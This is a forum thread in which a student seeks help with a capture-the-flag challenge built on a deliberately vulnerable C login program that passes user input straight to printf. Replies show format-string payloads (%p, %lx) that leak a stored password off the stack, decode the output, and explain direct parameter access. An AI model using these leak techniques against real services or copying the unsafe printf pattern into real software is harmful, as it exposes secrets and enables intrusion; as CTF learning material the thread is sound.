Jump to content

CTF:Need Help with buffer overflow/string format vulnerability CTF

Go to solution Solved by Unimportant,
2 hours ago, TheComputerdude said:

<snip>

The key is in the line:

printf(username);

Which misuses printf. Your compiler should warn for that: "warning: format not a string literal and no format arguments [-Wformat-security]".

It allows us to sneak format specifiers in trough the username string, but you knew that already.

 

Simply using format specifier %x (32bit) you can traverse the stack downward while printing the values on the stack as hex.

I compiled and tried the code you posted with a password file holding the following contents:

Quote

ABCDEFGHIJKLMNOPQRSTUVWXYZ1234

 

===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: %lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx
--[ Password: 
-----------------------------------------
7ffd43f73b00007f63419364c07f63419364c07ffd43f73c581417431ef1e0000000055acad15c2604847464544434241504f4e4d4c4b4a495857565554535251343332315a59 does not have access!

Note that I used %lx because I'm on a 64 bit system. Each print action will step forward a 64 bit word while %x only prints 32 bits, so I'd lose half the information. %lx prints 64 bits. Use %x on a 32 bit system.

 

The key part of the output is:

4847464544434241504f4e4d4c4b4a495857565554535251343332315a59

OR

48 47 46 45 44 43 42 41 50 4f 4e 4d 4c 4b 4a 49 58 57 56 55 54 53 52 51 34 33 32 31 5a 59 
H  G  F  E  D  C  B  A  P  O  N  M  L  K  J  I  X  W  V  U  T  S  R  Q  4  3  2  1  Z  Y

Grouped per 64-bits in this test, because of intel endianness, obviously.

A few days a go a group from out local college came to our high school and did a cyber security presentation. They also have a small ongoing ctf comp. Its pretty cool but I've been working on a flag for a while and I feel so close yet so far.  The clue is :

You overhear a phone conversation:

Person: Listen, I can explain! Phone: waaah wah waah Person: Of course I know what a format string vulnerability is! Phone WAAA WWAAAHH WWWAAHH WAH! Person: Don't yell at me! How should I know you could just read crap off the stack like that? Plus, there's no way they can read the entire flag! There isn't enough space in the input buffer! Phone: waa waa waah waahhh, wa wa Person: What's direct parameter access? Phone: click

nc ctf.cyberatuc.org 48846

also attached is a C file as well as a compiled version of it obviously similar to what is being run on the server. The code is :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PASS_LEN 30
 
/*
 * compiled with:
 * gcc -m32 -z execstack -z norelro -fno-stack-protector pwn2.c -o pwn2
 *
 * Credits: The amazing RPISEC Modern Binary Exploitation (MBE) course
 */

int main(int argc, char *argv[])
{
    char username[100] = {0};
    char real_pass[PASS_LEN] = {0};
    char in_pass[100] = {0};
    FILE *pass_file = NULL;
    int rsize = 0;

    /* open the password file */
    pass_file = fopen(".pass", "r");
    if (pass_file == NULL) {
        fprintf(stderr, "ERROR: failed to open password file\n");
        exit(EXIT_FAILURE);
    }

    /* read the contents of the password file */
    rsize = fread(real_pass, 1, PASS_LEN, pass_file);
    real_pass[strcspn(real_pass, "\n")] = '\0';  // strip \n
    if (rsize != PASS_LEN) {
        fprintf(stderr, "ERROR: failed to read password file\n");
        exit(EXIT_FAILURE);
    }

    /* close the password file */
    fclose(pass_file);

    puts("===== [ Secure Access System v1.0 ] =====");
    puts("-----------------------------------------");
    puts("- You must login to access this system. -");
    puts("-----------------------------------------");

    /* read username securely */
    printf("--[ Username: ");
    fgets(username, 100, stdin);
    username[strcspn(username, "\n")] = '\0';    // strip \n

    /* read input password securely */
    printf("--[ Password: ");
    fgets(in_pass, sizeof(in_pass), stdin);
    in_pass[strcspn(in_pass, "\n")] = '\0';      // strip \n

    puts("-----------------------------------------");

    /* log the user in if the password is correct */
    if(!strncmp(real_pass, in_pass, PASS_LEN)){
        printf("Greetings, %s!\n", username);
        system("/bin/sh");
    } else {
        printf(username);
        printf(" does not have access!\n");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

I have attempted to get data off the stack like so:

chris@server_boi:~$ nc ctf.cyberatuc.org 48846
===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
--[ Password: AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
-----------------------------------------
0xffa6fca20x1e0x578111600x4141fcf40x414141410x414141410x414141410x414141410x414141410x41414141(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil) does not have access!

The issue is that I can't find the memory address of the password or figure out how to hit the specific address in memory. I have tried everything I have found online and nothing has helped. Any help would be great thanks.

NOTE the compiled file is attached I tried decompiling and finding the memory address of the password variable. maybe you will have more luck.

pwn2

Link to post
Share on other sites

Your application isn't going to be able to read the memory of another application by default. You can use win32 APIs(assuming you use Windows) to get a handle on another running appplication process and use a pointer to directly manipulate it's memory but you still need to know the memory address of the data you want. The best way to do this would be to use a memory scanner and to find the right blocks of memery, you will need to do some detective works to figure where it lies.

 

On Unix/Unix like OS (including Linux), you will need to read memories from the proc files. I'm not too familiar with that but I'm assuming you are on Unix/Unix like system because you have unistd.h header. Scroll to the bottom half of this website. There is some information on it.

https://nullprogram.com/blog/2016/09/03/

Sudo make me a sandwich 

Link to post
Share on other sites

2 hours ago, TheComputerdude said:

<snip>

The key is in the line:

printf(username);

Which misuses printf. Your compiler should warn for that: "warning: format not a string literal and no format arguments [-Wformat-security]".

It allows us to sneak format specifiers in trough the username string, but you knew that already.

 

Simply using format specifier %x (32bit) you can traverse the stack downward while printing the values on the stack as hex.

I compiled and tried the code you posted with a password file holding the following contents:

Quote

ABCDEFGHIJKLMNOPQRSTUVWXYZ1234

 

===== [ Secure Access System v1.0 ] =====
-----------------------------------------
- You must login to access this system. -
-----------------------------------------
--[ Username: %lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx
--[ Password: 
-----------------------------------------
7ffd43f73b00007f63419364c07f63419364c07ffd43f73c581417431ef1e0000000055acad15c2604847464544434241504f4e4d4c4b4a495857565554535251343332315a59 does not have access!

Note that I used %lx because I'm on a 64 bit system. Each print action will step forward a 64 bit word while %x only prints 32 bits, so I'd lose half the information. %lx prints 64 bits. Use %x on a 32 bit system.

 

The key part of the output is:

4847464544434241504f4e4d4c4b4a495857565554535251343332315a59

OR

48 47 46 45 44 43 42 41 50 4f 4e 4d 4c 4b 4a 49 58 57 56 55 54 53 52 51 34 33 32 31 5a 59 
H  G  F  E  D  C  B  A  P  O  N  M  L  K  J  I  X  W  V  U  T  S  R  Q  4  3  2  1  Z  Y

Grouped per 64-bits in this test, because of intel endianness, obviously.

Link to post
Share on other sites

When you do printf, you can specify how far back in the stack it should look, so the following pseudo-assembly

push $10
push $11
push (pointer to "%2$d")
call printf

would print 10 (which is the value at %esp+2*4), because 2$ was passed into the format string (*4 because it's compiled to target 32 bits). This is what the last bit of the hint was referring to.

Once you've figured out where the password lies relative to the stack pointer on entry to the vulnerable printf (which you could do manually with the disassembly, using GDB, or just brute force), you can then use it to read from that offset.

HTTP/2 203

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×